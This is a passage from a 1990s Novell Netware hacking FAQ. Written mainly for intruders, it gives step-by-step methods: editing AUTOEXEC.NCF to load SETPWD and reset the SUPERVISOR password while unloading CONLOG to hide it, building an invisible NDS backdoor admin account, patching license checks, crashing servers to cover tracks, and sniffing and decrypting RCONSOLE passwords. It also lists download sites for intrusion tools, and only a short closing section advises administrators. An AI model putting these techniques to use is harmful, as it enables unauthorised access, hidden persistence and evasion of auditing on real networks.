Admins can defeat this by creating default personal Login Scripts or by
adding an EXIT command to the end of the System Login Script. Later versions
of Netware create a zero-length LOGIN file at ID creation time in the
SYS:MAIL directories to defeat this.

------------------------------------------------------------------------------

05-7. What are some general ways to exploit Trustee Rights?

To find out all your trustee rights, use the WHOAMI /R command. The
following section is a summary of what rights to expect, and the purpose.
Where x appears, it means it doesn't matter if the right is set.

[SRWCEMFA] means you have FULL rights. They are all eight of the effective
        rights flags.

[Sxxxxxxx] shouldn't appear unless you are supervisor (or equivalent).
        It means you have full access in that directory and all
subdirectories.
        You cannot be excluded from any directory, even if a user explicitly
        tries to revoke your access in a subdirectory.

[xxxxxxxA] is next best thing to the S right. It means you have access
        control in that directory and all subdirectories. You can have your
        access control (along with any other rights) revoked in a
subdirectory,
        but you can always use inherited rights to recover them (see the
        c.o.n.s FAQ).

[ R    F ] is what users should have in directories containing software.
        You have the right to read files only.
```

[RCWEMFx] is what users should have in their home directory. You can read, create, and edit files. If you find any unusual directories with these rights, they can also be used for storing files (maybe an abuse of the network, especially if this is exploited to avoid quota systems).

[RxW F] usually means that the directory is used for keeping log files. Unless you have the C right, it may not be possible to edit files in this directory.

The RIGHTS commands tells you what rights you have in a particular directory. GRANT, REVOKE, and REMOVE are used to set trustee rights.

05-8. Can access to .NCF files help me?

Access to any .NCF file can bypass security, as these files are traditionally run from the console and assume the security access of the console. The addition of a few lines to any .NCF file can get you access to that system.

The most vulnerable file would be the AUTOEXEC.NCF file. Adding a couple of lines to run BURGLAR.NLM or SETPWD.NLM would certainly get you access. But remember there are other .NCF files that can be used and exploited. For example, ASTART.NCF and ASTOP.NCF are used to start and stop Arcserve, the most popular backup system for Netware. The LDREMOTE.NCF as mentioned in section 04-2 is another potential target.

The lines you might add to such a file might be as follows:

```
UNLOAD CONLOG
LOAD SETPWD SUPERVISOR SECRET
CLS
LOAD CONLOG
```

This assumes you had read/write access to the location of the .NCF file and can copy SETPWD.NLM to the server. Note that by unloading CONLOG you are only partially covering your tracks, in the CONSOLE.LOG file it will be obvious that CONLOG was unloaded and reloaded. The CLS is to keep your activities off of the server's screen.

The best .NCF for this is obviously one that is either used during the server's boot process or during some automated process. This way a short .NCF and its activities may escape the eyes of an admin during execution.

Section 06

Fun with Netware 4.1

06-1. What is interesting about Netware 4.x's licensing?

It is possible to load multiple licenses and combine their total number of

users. For example, if you are in one of those Novell CNE classes where they give you a 2 user 4.1 license, you can get everyone's CD in class and combine them on one server. If you get 10 CDs you have a 20 user license. I know of no limit to the maximum number of licenses and user limit, except for hardware limitations supporting it. This means you could load more than one copy of 1000 user Netware 4.1 on a server (assuming you have unique copies, not the same copy twice).

itsme has done some poking around with his tools, and has the following to say regarding the SERVER.EXE that comes with Netware 4:

```
 what's inside server.exe:
 0001d7c7  server.nlm          type=07
 000d319d  "Link" 000d504a
 000d31a5  unicode.nlm         type=00  (ordinary NLM)
 000d504a  "Link" 000d6e9c
 000d5052  dsloader.nlm        type=00  (ordinary NLM)
 000d6e9c  "Link" 000db808
 000d6ea4  timesync.nlm        type=00  (ordinary NLM)
 000db808  polimgr.nlm         type=0c  ('hidden' NLM)
   by editing the binary of server, and changing the type of polimgr.nlm
   from 0c to 00  (offset 007a or 000db882 in server.exe)
   it becomes unhidden.
   hidden NLM's are protected from debugging with the netware debugger.

   polimgr.nlm  manages the license files, after it reads the file,
   it checks with somekind of signature function whether it is a valid file
   the function doing the checking can be made to always return OK, then
   you can create an any number of users license.
```

06-2. How can I tell if something is being Audited?

Use RCONSOLE and do a directory scan of SYS:_NETWARE. There will be some binary files named NET$AUDT.* if Auditing has been used. Old Audit files will be named NET$AUDT.AO0, .AO1, etc. A current Auditing file will be named NET$AUDT.CAF. If these files do not exist, no Auditing is being or has been done. To check to see if Auditing is currently active, try to open the current Auditing file like this:

```
      LOAD EDIT SYS:_NETWARE\NET$AUDT.CAF
```

If it pulls up something (with a little garbage) then Auditing is currently turned off. If you get an error stating that NET$AUDT.CAF doesn't exist and do you wish to create it, that means the file is being hend open and Auditing is currently active on SOMETHING (remember, the EDIT.NLM normally handles open files pretty well, but trying to open a file already open in SYS:_NETWARE always gets this error).

06-3. Where are the Login Scripts stored and can I edit them?

The Login Scripts are stored in, you guessed it, SYS:_NETWARE. Unlike the binary files used in NDS, these files are completely editable by using EDIT.NLM. Doing an RCONSOLE directory scan in SYS:_NETWARE will turn up

files with extensions like .000, these are probably Login Scripts. Pull up a few, they are plain text files. For example, you found 00021440.000:

```
LOAD EDIT SYS:_NETWARE\00021440.000
```

If it is a Login Script, you will see it in plain english and you can certainly edit and save it. This completely bypasses NDS security, and is the main weakness. You can use this to grant a user extra rights that can lead to a number of compromises, including full access to the file system of any server in the tree.

06-4. What is the rumored "backdoor" in NDS?

The rumored backdoor in NDS exists - to an extent. The rumor is that there is a way to set up a backdoor into a system in NDS that is completely hidden from everyone and everything. There IS a way to get real close to this, although how "hidden" it is remains to be seen. One catch - you need full access to NDS i.e. Admin access to set it up. But if you can get Admin's password or access to a user with Admin or equivalent access then you can put in a backdoor that may go unnoticed for months, or perhaps never be discovered. Here's how to set it up:

- Get logged in as Admin or equivalent.
- In NWADMIN highlight an existing container.
- Create a new container inside this container.
- Create a user inside this new container. No home directory.
- Give this user full Trustee Rights to their own user object.
- Give this user full Trustee Rights to the new container.
- Make this user security equivalent to Admin.
- Modify the ACL for the new user so they can't be seen.
- Adjust the Inherit Rights Filter on the new container so no one can see it.

Now this technique can be used by the paranoid admin that wants to give another user full access to a container, and this user wants to restrict access to this container. To prevent this user from forgetting their password (and making a section of the tree unmanageable or worse, disappear) an admin will use similiar techniques.

I have not been able to fully test this but it looks completely invisible to the average LAN admin. This does require an above average knowledge of NDS to set up, so most administrators will not even know how to look for this user.

Let's say you installed your backdoor at the XYZ Company, put your container inside the MIS container and called it BADBOY. Your backdoor is named BACKDOOR. Login like this:

```
LOGIN .BACKDOOR.BADBOY.MIS.XYZ
```

Now you will show up in the normal tools that show active connections on a server, so naming your backdoor "BACKDOOR" is probably not a great idea. Think of a name that might look like an automated attachment, and only use it when you think you won't be noticed.

If the site has Kane Security Analyst, they can find the backdoor.

06-5. How can I remove NDS?

This one is dangerous. This one will get you your Admin account back if you lost the password, and is not for the light-hearted if you plan on actually using NDS afterwards. Do this at a 4.1 console:

LOAD INSTALL -DSREMOVE

Now in the INSTALL module, go ahead and try to remove NDS. As a part of the process, it will ask you for the Admin password, get this, JUST MAKE ONE UP. If you get errors, no problem. Keep going and you can remove NDS from the server. Even though you gave it the wrong password, it will still let you remove NDS. I told you this one is real wicked...

06-6. How can I remove Auditing if I lost the Audit password?

If the Auditor forgets the password, try a simple wipe and reload. Hello, hello, you seemed to have fainted...

You can try this although there is no guarantee it will work, it is just a theory. You see, the Auditing files are located in SYS:_NETWARE. As long as they are there and Auditing active, even deleting NDS and recreating it will not turn off Auditing. If you wish you can delete and rebuild SYS: which will get it. Try these listed items if you are desperate. I have tried them in the Nomad Mobile Reseach Centre lab and got this to work a couple of times -- but once I trashed the server and NDS. One time it didn't work at all. But here it is:

- Use RCONSOLE's directory scan and get the exact names of the Audit files, you know NET$AUDT.CAF but also files with an extension of .$AF are Auditing files, too.
- Use the techniques in 06-2 and determine exactly which files are being held open by this particular server for Auditing.
- Try booting up the server and running a sector editor.
- Search the drive for the file names you found.
- Change all occurrences of these names, save changes, and boot up.
- If that didn't do the trick, try booting up the server using a 3.x SERVER.EXE and try and get to SYS:_NETWARE that way. Then delete the Auditing files.
- If THAT doesn't work, use repeated calls to the SYS:_NETWARE's directory table (using the APIs) and either delete or change the afore mentioned files.

Gee, maybe a "simple wipe and reload" is easier...

06-7. Does 4.x store the LOGIN password to a temporary file?

Yes and no. No to 4.02 or higher. Here's the scoop on 4.0.

The version of LOGIN.EXE that shipped with 4.0 had a flaw that under the

right conditions the account and password could be written to a swap file created by LOGIN.EXE. Once this occured, the file could be unerased and the account and password retrieved in plain text.

06-8. Everyone can make themselves equivalent to anyone including Admin. How?

A couple of things might cause this. One, I'd check the rights for [PUBLIC], and secondly I'd check the USER_TEMPLATE id for excessive rights. The Write right to the ACL will allow you to do some interesting things, including making yourself Admin equivalent. For gaining equivalence to most anything else you need only Read and Compare.

The implication should be obvious, but I'll spell it out anyway. A backdoor can be made if an account is set up this way. Let's say you've created an account called TEST that has enough rights to do this kind of thing. Simply go in as the TEST account, make yourself Admin equivalent, do your thing, remove the Admin equivalent, and get the hell out. Neat and sweet.

06-9. Can I reset an NDS password with just limited rights?

There is a freeware utility called N4PASS, that is meant for Netware 4.10 (uses NDS calls and is not bindery based). The intention of this package is to enable a Help Desk to reset passwords for users without granting them tons of rights. It uses full logging and does not require massive ACL manipulation to do it.

Obviously being set up to use this utility opens a few doors. The filename is N4PA11.EXE on Netwire in Compuserve, and should be on one of Novell's mirror sites soon.

You can reach the author at dcollins@fastlane.net

A couple of interesting things about this utility -- if configured incorrectly the server may be compromised in a number of ways. For instance, the password generated is stored in a temp file. If the directory for N4PASS is not set to purge immediately, the file is salvagable. Also, if the rights to the N4PASS directory are too open, you can discover the default password, among other things. The text file included with the utility covers this, so read it carefully if you are installing it. If you are hacking, read it carefully too ;-)

06-10. What is OS2NT.NLM?

OS2NT.NLM is a Novell-supplied NLM for recovering/fixing Admin, like after it becomes an Unknown object, as opposed to User -- especially after a DSREPAIR. This module is considered a "last resort" NLM and you must contact Novell to use it. While I haven't seen it, it is supposed to be on one of Novell's FTP sites. It supposedly is customized by Novell to work with your serial number and is a one-time use NLM. You have to prove to Novell who you are and that your copy of Netware is registered.

I would suspected it is possible that this NLM could be hacked to get around the one-time use and serial number/password thing, but a restore of NDS from a good backup would accomplish things better. This way is a little destructive.

06-11. Do you have to be Admin equivalent to reset a password?

No. There is a freeware utility called N4PASS, that is meant for Netware 4.10 (uses NDS calls and is not bindery based).

The intent is for helpdesk staff to reset passwords for users without setting up elaborate ACL settings for a group to control the password property. It supposedly does this with full logging. I'm looking for info on it, so let me know if you have tips on its use.

Section 07

Miscellaneous Info on Netware

07-1. Why can't I get through the 3.x server to another network via TCP/IP?

Loading the TCPIP.NLM in a server with two cards does not mean that packets will be forwarded from one card to another. For packet forwarding to work, the AUTOEXEC.NCF file should have the line:

load tcpip forward=yes

For packets to go through the server, you must set up a "gateway=aa.bb.cc.dd" option on the workstation. This leaves routing up to the server. If you are writing hack tools, keep this in mind if they use IP. Some older routers may not recognize the Netware server as a router, so you may not have many options if your target is on the other side of one of these routers. Newer routers are Netware aware and will "find" your server as a router through RIP.

Netware 3.11 IP will only forward between two different subnets. Proxy Arp is currently not supported in Netware IP. Example:

123.45.6 & 123.45.7 with a mask of ff.ff.ff.00 will forward packets

123.45.6 & 231.45.7 with a mask of ff.ff.ff.00 will not

This way you do not waste precious time trying to cross an uncrossable river. Some admins use this to limit the flow of IP traffic.

07-2. How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?

For Netware 3.xx, use these command-line options:

SERVER -NS to skip STARTUP.NCF, and

SERVER -NA to skip AUTOEXEC.NCF

NetWare 2.x does not HAVE the files STARTUP.NCF and AUTOEXEC.NCF. Instead they hard-code all the information into NET$OS.EXE, so you will have to rebuild it to change anything.

07-3. How can I login without running the System Login Script?

Often an admin will try and prevent a user from getting to DOS or breaking out of the System Login Script to "control" the user. Here's to way to prevent that -

- Use ATTACH instead of LOGIN to connect to a server. ATTACH will not run the login script, whereas LOGIN will. ATTACH.EXE will either have to be copied to a local HD or put in SYS:LOGIN.
- Use the /s <fname> option for LOGIN. Using "LOGIN /S NUL <login>" will cause LOGIN to load the DOS device NUL which will always seem like an empty file.

07-4. How do I remotely reboot a Netware 3.x file server?

If you have access to a server via RCONSOLE it may come in handy after loading or unloading an NLM to reboot a server. Build an NCF file by doing the following steps -

- Create a file called DOWNBOY.NCF on your local drive. It should be a text file and contain the following lines:

```
REMOVE DOS
DOWN
EXIT
```

- Copy up the file to the SYS:SYSTEM directory using RCONSOLE.

- At the System Console prompt, type DOWNBOY and enter.

What happens is this - the REMOVE DOS statement frees up the DOS section in server RAM, the server is downed (if there are open files, you will be given one of those "are you sure" messages, answer Y for yes), and the EXIT command tries to return the server console to DOS. But since you removed DOS from RAM, the server is warm booted.

07-5. How can I abend a Netware server? And why?

I'll answer the second question first. You may be testing your server as an administrator and wish to see how you are recovering from crashes. Or you may be a hacker and wish to cover your tracks VERY DRAMATICALLY. After all, if you are editing log files and they are going to look funny when you are done, a good crash might explain why things look so odd in the logs.

These are per itsme:

- Netware 4.1 : type 512 chars on the console + NENTER -> abend
- Netware 3.11 : NCP request 0x17-subfn 0xeb with a connection number higher than the maximum allowed will crash the server (yes you will need the APIs)

07-6. What is Netware NFS and is it secure?

NFS (Networked File System) is used primarily in Unix to remotely mount a different file system. Its primary purpose in Netware is to allow the server to mount a Unix file system as a Netware volume, allowing Netware users access to Unix data without running IP or logging into the server, and Unix users to mount a Netware volume as a remote file system. If the rights are set up incorrectly you can gain access to a server.

While the product works as described, it is a little hard to administer, as user accounts on both sides must be in sync (name and password) and it can be a fairly manual process to ensure that they are.

A reported problem with Netware NFS is that after unloading and reloading using the .NCF files, a system mount from the Unix side includes SYS:ETC read only access. If this directory can be looked at from the Unix side after a mount, .NCF and .CFG files could be viewed and their information exploited. For example, SYS:ETC is a possible location of LDREMOTE.NCF, which could include the RCONSOLE password.

Netware NFS' existence on a server says you have some Unix boxes around somewhere, which may be of interest as another potential system to gain access to.

07-7. Can sniffing packets help me break in?

Yes. If a user is logging in and the password is being transmitted to the server
unencrypted, it will show up as plain text in the trace. If the site uses telnet
and ftp, capturing those password will come in handy. Outside of gaining access
to another system, many users will make their passwords the same across all systems.

For a list of DOS-based sniffers, see the alt.2600/#hack FAQ. I personally prefer the Network General Sniffer ;-)

RCONSOLE.EXE is the client-launched application that provides a remote server console to a Novell Netware file server. The connection between client and server allows administrators to manage servers as if they were at the physical server console from their desks, and allow virtually any action that would be performed at the server console to be performed remotely, including execution of console commands, uploading of files to the server, and the unloading and loading of Netware Loadable Modules (NLMs). It is not only an effective tool for administrators, it is a prime target for hackers.

A critical point of access to many servers is the actual physical console. This is one of the main reasons why physical security of the server is so important and stressed by security conscious administrators. On many systems you have a level of access with little to no security. Netware is no exception.

The main reason to hack RCONSOLE is to gain access to the Netware server console. No, you aren't physically there, but the OS doesn't know any different. And the main reason to gain access to the Netware server console is to utilize a tool to gain Supervisor access to the Netware server.

During the RCONSOLE process, the password does come across the wire encrypted. If you look at the conversation you will see packets containing the RCONSOLE.EXE being opened, the possible servers to be accessed, etc. This conversation is nothing but NCP packets.

Once RCONSOLE is up on the workstation, the user chooses the server, hits enter,
and is prompted for a password. After entering the password, the conversation contains two 60 byte IPX/SPX packets going back and forth followed by 4 NCP packets, 64 bytes, 60 bytes, 64 bytes, and 310 bytes in length respectively. The next IPX/SPX packet, 186 bytes in length, contains the password. It is located at offset 3Ah, which is easy to find. Offset 38h is always FE and offset
39h is always FF.

Now comes the use of a tool called RCON.EXE from itsme that can take some of the information you have collected and turn it into the password. What you need are the first 8 hex bytes starting at offset 3Ah, the network address, and the node address. Now the network and node address are in the header of the packet that contains the encrypted password, but can also get these by typing USERLIST /A which returns this info (and more) for each person logged in.

Now why just the first 8 hex bytes? That's all Novell uses. Great encryption scheme, huh?

07-8. What else can sniffing get me?

Jeff Carr has pointed out that RCONSOLE sends screens in plaintext across the network for all to see (well, all with sniffers). This means you can see what is being typed in and what is happening on the screen. While it is not the prettiest stuff to look at, occassional gems are available. Jeff's best gem? The RCONSOLE password. The server had been brought up without REMOTE and RSPX being loaded, they were loaded by hand at the console after the server was brought up. The first RCONSOLE session brought up the screen with the lines LOAD REMOTE and LOAD RSPX PASSWORD (with PASSWORD being the RCONSOLE password), and this was being sent to the RCONSOLE user's workstation in plaintext.

Teiwaz discovered that SYSCON sends password changes in plaintext. While SETPASS, LOGIN, MAP, and ATTACH all encrypt the password in 3.x, SYSCON does not.

07-9. How does password encryption work?

From itsme -

the password encryption works as follows:
 1- the workstation requests a session key from the server
     (NCP-17-17)
 2- the server sends a unique 8 byte key to the workstation

 3- the workstation encrypts the password with the userid,
     - this 16 byte value is what is stored in the bindery on the server

 4- the WS then encrypts this 16 byte value with the 8 byte session key
    resulting in 8 bytes, which it sends to the server
     (NCP-17-18 = login), (NCP-17-4a = verify pw) (NCP-17-4b = change pw)

 5- the server performs the same encryption, and compares its own result
    with that sent by the WS

-> the information contained in the net$*.old files which can be found
   in the system directory after bindfix was run, is enough to login
   to the server as any object. just skip step 3

07-10. Are there products to help improve Netware's security?

While there are a number of products, commercial and shareware/public domain that have some security-related features, the following products are either really good or have some unique features.

There is a commercial product called SmartPass, which runs as an NLM. Once installed, you can load this and analyze existing passwords for weaknesses. A limited-time free demo can be obtained from the following address:

   http://www.egsoftware.com/

SmartPass will check passwords on the fly, so a user can be forced to use a non-dictionary word for a password.

Another commercial product product that will check from a dictionary word list and simply report if the password is on the list is Bindview NCS. There is a brand new NDS version of this product but I haven't look at it yet. The bindery version is god-awful slow, but completely accurate. It requires Supe access to run. Bindview can also produce a number of reports. including customized reports to give you all kinds of info on the server and its contents. For more info on Bindview:

   http://www.bindview.com/

For doing Auditing on a 3.x version of Netware, try AuditTrack. It will track all access to a directory or individual file by user, which can come in handy for seeing who is doing what. Out of the box Netware 3.11 has virtually no way to track what an individual user is doing, but the AuditTrack NLM helps greatly. E.G. Software, the developer, can be reached at:

http://www.egsoftware.com/

Intrusion Detection Systems puts out a commercial product called Kane Security Analyst. It is considered by many to the "SATAN" of Netware. One of its abilities is locating hidden objects in the NDS tree. For a good demo, a 30 day trial version, and more info:

http://www.intrusion.com/

07-11. What is Packet Signature and how do I get around it?

Packet signatures works by using an intermediate step during the encrypted password login call, to calculate a 64-bit signature. This block is never transmitted over the wire, but it is used as the basis for a cryptographically strong signature ("secure hash") on the most important part of each NCP packet exchange.

A signed packet can indeed be taken as proof sufficient that the packet came from the claimed PC.

NCP Packet Signature is Novell's answer to the work of the folks in the Netherlands in hacking Netware. The idea behind it is to prevent forged packets and unauthorized Supervisor access. It is an add-on option in 3.11, but a part of the system with 3.12 and 4.x. Here are the signature levels at the client and server:

Packet Signature Option and meaning:
0 = Don't do packet signatures
1 = Do packet signatures if required
2 = Do packet signatures if you can but don't if the other end doesn't support them
3 = Require packet signatures

You can set the same settings at the workstation server. The default for packet
signatures is 2 at the server and client. If you wish to use a tool like HACK.EXE, try setting the signature level at 0 on the client by adding Signature Level=0 in the client's NET.CFG. If packet signatures are required at the server you won't even get logged in, but if you get logged in, hack away.

If you wish to change the signature level at the server, use a set command at the server console:

SET NCP PACKET SIGNATURE OPTION=2

07-12. Do any Netware utilities have holes like Unix utilities?

This is a fairly common question, inspired by stack overrun errors, sendmail bugs, and the like that exist in the Unix world. The reason you do not have these kind of exploits in common Netware utilities is because:

- You use a proprietary shell that can be loaded without accessing the server, therefore no shell exploits exist.
- Virtually all Netware utilities do NOT use stdin and stdout, so no stack overruns that exploit anything.
- Since the shell is run locally, not on the server, you have no way to use a utility to gain greater access than you have been granted, like a SUID script in Unix.
- Yes there are utilities like HACK.EXE that grant extra access under certain conditions in 3.11, but no Novell-produced utility comes close to granting extra access.

Section 08

Resources

08-1. What are some Netware FTP locations?

These are from various FAQs. I have not checked all of these and I'm pretty sure some may no longer be up. But here's a starting point.

Novell's ftp site:

ftp.novell.com		137.65.3.11
ftp.novell.de		193.97.1.1

Novell's ftp Mirrors:

netlab2.usu.edu		129.123.1.44 (the best)
bnug.proteon.com		128.103.85.201
ftp.rug.nl	/networks/novell	129.125.4.15
ftp.salford.ac.uk	/novell	146.87.255.21
tui.lincoln.ac.nz	/novell/novlib	138.75.90.4
novell.nrc.ca	/netwire	132.246.160.4

Other Misc. Sites:

ml0.ucs.ed.ac.uk	/guest/pc	129.215.112.49 (second best)
splicer2.cba.hawaii.edu	/files/novell	128.171.17.2
	/files/pegasus	
cc.usu.edu	/slip	129.123.1.1
	/tcp-ip	
risc.ua.edu	/pub/network/novlib	130.160.4.7
	/pub/network/pegasus	
	/pub/network/misc	
	/pub/network/tcpip	
wuarchive.wustl.edu	/etc/system/novell	128.252.135.4
nctuccca.edu.tw		192.83.166.10
ftp.uni-kl.de	/pub/novell	131.246.94.94
dorm.rutgers.edu	/pub/novell	128.6.21.20
netlab.usu.edu	/novell	129.123.1.11
	/netwatch	

chaos.cc.ncsu.edu	/pc/novell	152.1.10.23
	/pc/utils	
	/pc/email	
	/pc/net	
	/pc/manage	
dutiws.twi.tudelft.nl	/pub/novell	130.161.156.11
jumper.mcc.ac.uk	/pub/security/netware	130.88.202.26
sodapop.cc.LaTech.edu	/pub/novell/specials	138.47.22.47
ftp.safe.net	/pub/safetynet/	199.171.27.2
ftp.best.com	/pub/almcepud/hacks	206.86.8.2
ftp.efs.mq.edu.au	/pub/novell	137.111.55.8
nic.switch.ch	/mirror/novell	139.50.1.40
onyx.infonexus.com	/pub/ToolsOfTheTrade/Netware	204.162.164.220
biomed.engr.LaTech.edu	/sys/pub/ecl/specials	138.47.15.1

08-2. Can I get files without FTP?

Try using the BITFTP-FTP/Email gateway. Just send e-mail containing HELP as the BODY (not a subject) to BITFTP@PUCC.BITNET. It will send more info to you.

Internet gateways are:

ftpmail@decwrl.dec.com

ftpmail@cs.uow.edu.au

If you are on Compuserve, type GO NETWIRE to get to Novell's forum. There are files on there for downloading. Also try the CD NSEpro, which is most of the Netwire forum put on CD.

08-3. What are some Netware WWW locations?

http://www.novell.com/	Novell in Provo
http://www.novell.de/	Novell in Europe
http://www.salford.ac.uk/ais/Network/Novell-Faq.html	
Novell@listserv.syr.edu	
http://mft.ucs.ed.ac.uk/	Edinburg Tech Library*
http://resudox.net/bio/mainpage.html	Great tools**
http://www.efs.mq.edu.au/novell/faq	comp.sys.novell FAQ
http://occam.sjf.novell.com:8080	Online manuals
http://www.safe.net/safety	Security Company
http://www.cis.ohio-state.edu/hypertext/faq/usenet/netware/security/faq.html	comp.os.netware.security FAQ

* Excellent site for tons of techie info. The Netware Server Management section should be read be all hackers and admins alike.

** BioHazard has been busy collecting tools, a great site with assorted nasties like keystroke capture programs, sniffers, and other security compromising goodies. The bane of Sys Admins everywhere.

08-4. What are some Netware USENET groups?

Netware specific:

   comp.os.netware.misc (main group, replaced comp.sys.novell)
   comp.os.netware.announce (moderated announcements)
   comp.os.netware.security (security issues)
   comp.os.netware.connectivity (connect. issues incl. LAN Workplace)

Security, H/P in general:

   alt.2600
   alt.security
   comp.security.announce
   comp.security.misc

08-5. What are some Netware mailing lists?

* NOVELL@listserv.syr.edu - send an email with no subject to listserv@listserv.syr.edu with "subscribe NOVELL Your Full Name" in the body. You must reply to the message within two days or you'll not be added to the list. The same address no subject with "unsubscribe NOVELL" takes you off the list.

* BIG-LAN@suvm.acs.syr.edu - send subscriptions to LISTSERV@suvm.acs.syr.edu.

* CUTCP-L@nstn.ns.ca for a discussion of Charon and CUTCP Telnet issues. Send subscription requests to listserv@nstn.ns.ca.

* INFO-IBMPC@arl.army.mil - send subscription requests to INFO-IBMPC-REQUEST@arl.army.mil.

* PMAIL@ua1vm.ua.edu for discussion of Pegasus Mail. The author, David Harris,
is active on this list. Send subscription and other administrative requests to listserv@ua1vm.ua.edu.

* NWP@UEL.AC.UK for programming under Netware. Send subscription requests to LISTPROC@UEL.AC.UK.

* MSDOS-ANN@tacom-emh1.army.mil for announcements of SimTel uploads. To subscribe, send mail to LISTSERV@tacom-emh1.army.mil with the message SUBSCRIBE MSDOS-ANN.

* Garbo-Ann@Garbo.uwasa.fi for announcements of Garbo uploads. To subscribe, send mail to Majordomo@Garbo.uwasa.fi with the message SUBSCRIBE GARBO-ANN <firstname> <lastname>.

* CICA-L@ubvm.cc.buffalo.edu for announcements of Windows uploads to CICA. To subscribe, send mail to Listserv@ubvm.cc.buffalo.edu with the message SUBSCRIBE
CICA-L <firstname> <lastname>.

08-6. Where are some other Netware FAQs?

The old comp.sys.novell (recently deleted) FAQ is available via ftp at ftp.eskimo.com in directory /u/m/mstal. The c.s.n FAQ is csn.faq. The Novell listserv FAQ is faq.txt. It can be FTP directly from its maintainer at netlab2.usu.edu/misc/faq.txt.

These are also available at URL http://www.eskimo.com/~mstal. Included is a URL to ftp the latest version of the Novell listserv FAQ, a URL to a web of the Novell listserv FAQ with many of the ftp sites webbed, and a URL to a web of the c.s.n faq, created by David Rawling. The Novell listserv FAQ web URL is http://www.salford.ac.uk/docs/depts/ais/Network/Novell-Faq.html and the c.s.n FAQ web URL is http://www.efs.mq.edu.au/novell/faq/index.html.

Stanley Toney publishes a bi-weekly Netware Patches and Updates FAQ in comp.os.netware.announce. It is also available at ftp://ftp.nsm.smcm.edu/pub/novell/patchfaq.zip.

Floyd Maxwell, fmaxwell@unixg.ubc.ca, keeper of the listserv FAQ, will automatically mail you the FAQ on a regular basis if you request it of him.

Fauzan Mirza has developed a FAQ for comp.os.netware.security, posting it there once a month. It is also archive at rtfm.mit.edu in the usenet FAQ archive.

Don't forget the alt.2600/#hack FAQ as a general hacking/phreaking resource, available at rtfm.mit.edu among other locations.

08-7. Where can I get the files mentioned in this FAQ?

```
SETPWD.NLM   - ml0.ucs.ed.ac.uk    /guest/pc/novell/nlms   setpwd.zip
SETSPWD.NLM  - netlab2.usu.edu     /misc
SETSPASS.NLM - netlab2.usu.edu     /misc
NOVELBFH.EXE - jumper.mcc.ac.uk    /pub/security/netware novelbfh.zip
KNOCK.EXE    - jumper.mcc.ac.uk    /pub/security/netware    knock.zip
LOGIN.EXE    - jumper.mcc.ac.uk    /pub/security/netware      nwl.zip
PROP.EXE     - jumper.mcc.ac.uk    /pub/security/netware      nwl.zip
CHKNULL.EXE  - ftp.fastlane.net    /pub/nomad/nw             chk0.zip
USERLST.EXE  - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip
LASTHOPE.NLM - ml0.ucs.ed.ac.uk    /guest/pc/novell/nlms lasthope.zip
NW-HACK.EXE  - jumper.mcc.ac.uk    /pub/security/netware  nw-hack.zip
SUPER.EXE    - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils   super.zip
CONLOG.NLM   - ml0.ucs.ed.ac.uk    /guest/pc/novell
X-AWAY.EXE   - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils  x-away.zip
GRPLIST.EXE  - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip
GETEQUIV.EXE - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip
TRSTLIST.EXE - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip
SECUREFX.NLM - www.novell.com      Search for it in the Tech Section
RCON.EXE     - onyx.infonexus.com  /pub/ToolsOfTheTrade/Netware
                                         rcon.zip
SMARTPASS    - ftp.efs.mq.edu.au   /pub/novell             smrtpw.zip
BINDERY.EXE  - onyx.infonexus.com  /pub/ToolsOfTheTrade/Netware
                                     bindery.zip
```

Duplicates of some of these files exist at my site, ftp.fastlane.net, and at onyx.infonexus.com.

08-8. What are some good books for Netware?

For Netware basics, there are tons. Bill Lawrence has a number of books that are easy to read but cover things with enough detail for a good understanding. I recommend the latest stuff from him. Look in your local bookstore's techie section. The Novell Press books are also good, but you tend to pay more for the name.

For programming:

Programmer's Guide to Netware -- (1990) Author: Charles G. Rose. Publisher: McGraw-Hill, Inc. The bible of Netware programming, dated since Novell has changed virtually every header file, but still the best. Covers 2.x and 3.x except for NLM programming. Lots of good source code.

Netware Programmer's Guide -- (1990) Author: John T. McCann. Publisher: M&T Books. Another dated but classic book with lots of good source for learning.

Novell 4.0 NLM Programming -- (1993) Authors: Michael Day, Michael Koontz, Daniel Marshall. Publisher: Sybex, Inc. Not as complete as I would like, but I'm picky. Still a classic. Although the title implies 4.x, most of it still works for 3.x, too. And if you can't get the kids to sleep, try reading them the tons of useful source code. Jeez, you may have to leave the closet light on, though...

Section 09

Netware APIs

09-1. Where can I get the Netware APIs?

Stateside call 1-800-RED-WORD, it's $50 USD, and includes a 2-user license of Netware 4.1. Most brand-name compilers will work, but if you're writing NLMs you'll need Watcom's latest. It's the only one I know of that will do NLM linking.

09-2. Are there alternatives to Netware's APIs?

There are three that I am aware of. Here is info on them -

Visual ManageWare by HiTecSoft (602) 970-1025

This product allows development of NLMs and DOS EXEs using a Visual Basic

type development environment. Runtime royalty-free development without C/C++ and without Watcom. However links are included for C/C++ programs. The full SDK including compilers is USD$895.00. Pricey but looks good, I have not used this product.

Here is Teiwaz' edited report on the other -

[quote]
Here is another source for 'c' libs for Netware. He sells both DOS / Windows style libs. The Small memory model size for DOS, a bit of source is free.

FTP
oak.oakland.edu/SimTel/msdos/c/netclb30.zip
Public Domain Small Mem Model Lib

Author
Adrian Cunnelly - adrian@amcsoft.demon.co.uk

Price
the current price in US Dollars is:

38 Dollars - All model libraries + windows DLL
110 Dollars - Above + Source Code
[endquote]

And take a look at Greg Miller's site, especially for those Pascal coders out there:

http://www.ius.indiana.edu/~gmiller/

Section 10

For Administrators Only

10-1. How do I secure my server?

This question is asked by administrators, and I'm sure no hackers will read this info and learn what you admins might do to thwart hack attacks ;-)

One thing to keep in mind, most compromises of data occur from an employee of the company, not an outside element. They may wish to access sensitive personnel files, copy and sell company secrets, be disgruntled and wish to cause harm, or break in for kicks or bragging rights. So trust no one.

Physically Secure The Server -

This is the simplest one. Keep the server under lock and key. If the server is at a site where there is a data center (mainframes, midranges, etc) put it in the same room and treat it like the big boxes. Access to the server's room should be controlled minimally by key access, preferably by some type of key

card access which can be tracked. In large shops, a man trap (humanoid that guards the room) should be in place.

